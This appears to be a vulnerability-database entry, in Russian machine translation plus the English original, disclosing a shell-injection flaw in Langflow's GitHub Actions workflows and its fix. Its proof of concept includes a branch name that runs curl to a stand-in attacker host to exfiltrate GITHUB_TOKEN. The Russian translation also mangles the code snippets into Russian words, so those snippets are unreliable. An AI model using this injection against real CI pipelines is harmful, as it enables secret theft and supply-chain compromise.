Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на базе искусственного интеллекта. Уязвимость удаленного внедрения оболочки без аутентификации существует во многих рабочих процессах GitHub Actions в репозитории Langflow до версии 1.9.0. Несанкционированная интерполяция переменных контекста GitHub (например, `${{ github.head_ref }}`) в шагах `run:` позволяет злоумышленникам внедрять и выполнять произвольные команды оболочки через вредоносное имя ветки или заголовок запроса на включение.
Это может привести к секретной утечке (например, `GITHUB_TOKEN`), манипулированию инфраструктурой или компрометации цепочки поставок во время выполнения CI/CD. Версия 1.9.0 исправляет уязвимость.
---
### Подробности
Некоторые рабочие процессы в `.github/workflows/` и `.github/actions/` ссылаются на переменные контекста GitHub непосредственно в командах оболочки `run:`, например:
```ямл
запустить: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Или:
```ямл
запустить: npx драматург установить ${{ inputs.browsers }} --with-deps
```
Поскольку `github.head_ref`, `github.event.pull_request.title` и пользовательские `inputs.*` могут содержать **управляемые пользователем значения**, их следует рассматривать как **ненадежные входные данные**. Прямая интерполяция без надлежащего цитирования или очистки приводит к внедрению команд оболочки.
---
### PoC
1. **Разветвить** репозиторий Langflow.
2. **Создайте новую ветку** с именем:
``` баш
инъекционный тест && завиток https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Откройте запрос на включение** в основную ветку из новой ветки.
4.
Действия GitHub запустят затронутый рабочий процесс (например, `deploy-docs-draft.yml`).
5. Шаг `run:`, содержащий:
```ямл
echo "Ветка: ${{ github.head_ref }}"
```
Выполнит:
``` баш
echo "Ветвь: тест на впрыск"
локон https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. Злоумышленник получает секрет CI через URL-адрес exfil.
---
### Влияние
- **Тип:** Внедрение оболочки/удаленное выполнение кода в CI
- **Область применения:** любая общедоступная вилка Langflow с включенными действиями GitHub.
– **Воздействие:** полный доступ к секретам CI (например, GITHUB_TOKEN), возможность распространения вредоносных тегов или изображений, подделки выпусков или утечки конфиденциальных данных инфраструктуры.
---
### Предлагаемое исправление
Рефакторинг затронул рабочие процессы, чтобы **использовать переменные среды** и заключить их в **двойные кавычки**:
```ямл
окружение:
BRANCH_NAME: ${{ github.head_ref }}
запустить: |
echo "Ветка: \"$BRANCH_NAME\""
```
Избегайте прямой интерполяции `${{ ... }}` внутри `run:` для любого значения, контролируемого пользователем.
---
### Затронутые файлы (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`
Показать оригинальное описание (EN)
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Характеристики атаки
Последствия
Строка CVSS v3.1
Тип уязвимости (CWE)
Уязвимые продукты 1
| Конфигурация | От (включительно) | До (исключительно) |
|---|---|---|
|
Langflow Langflow
cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
|
— |
1.9.0
|